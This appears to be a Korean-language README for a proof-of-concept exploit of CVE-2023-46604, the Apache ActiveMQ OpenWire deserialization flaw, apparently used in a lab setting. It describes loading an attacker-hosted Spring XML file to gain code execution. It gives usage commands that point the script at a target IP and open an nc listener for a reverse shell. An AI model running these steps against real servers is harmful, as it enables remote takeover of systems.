CVE-2023-46604

공격 기술 요약: CVE-2023-46604

이 스크립트는 Apache ActiveMQ의 안전하지 않은 역직렬화 취약점(CVE-2023-46604)을 악용하여 대상 서버에서 원격 코드 실행을 달성합니다.

악용 과정 설명

1. 취약점 대상:

   • 취약점은 Apache ActiveMQ의 OpenWire 프로토콜에 존재합니다.
   • 객체의 안전하지 않은 역직렬화를 허용하며, 이를 이용해 서버에서 임의 코드를 실행할 수 있습니다.

2. 사전 요구 사항:

   • ActiveMQ 서버에 대한 네트워크 접근.
   • 대상 서버가 접근 가능한 URL을 통해 제공되는 악성 XML 파일(poc.xml).

3. 공격 구성 요소:

   • Python 스크립트: 악성 페이로드를 ActiveMQ 서버로 전송하는 작업을 자동화합니다.
   • XML 파일(poc.xml): 악성 명령 실행(예: 리버스 셸 열기)을 정의하는 Spring bean을 포함합니다.

공격 단계

1. 페이로드 준비:

   • 스크립트는 다음을 포함하는 16진수 메시지를 구성합니다:
     • Java 클래스 이름: org.springframework.context.support.ClassPathXmlApplicationContext.
     • 악성 XML 파일의 URL.
   • 페이로드는 OpenWire 프로토콜을 통해 전송할 수 있는 바이트 시퀀스로 변환됩니다.

2. 페이로드 전송:

   • 스크립트는 지정된 포트(기본값 61616)에서 ActiveMQ 서버로 TCP 소켓 연결을 엽니다.
   • 악성 페이로드를 서버로 전송합니다.

3. 악성 코드 실행:

   • ActiveMQ 서버는 페이로드에 지정된 객체를 역직렬화합니다.

   • 안전하지 않은 역직렬화로 인해 XML 파일에 정의된 Spring bean이 로드되고 실행됩니다.

   • 이 bean은 서버에서 악성 명령(예: 리버스 셸)을 실행합니다.

     ---

실행 예시:

• python3 CVE-2023-46604.py -i 10.10.11.243 -u http://10.10.16.2/poc.xml

• nc -lvnp 9001

이 스크립트는 스페인어로 복사 및 수정되었습니다:https://github.com/evkl1d/CVE-2023-46604.git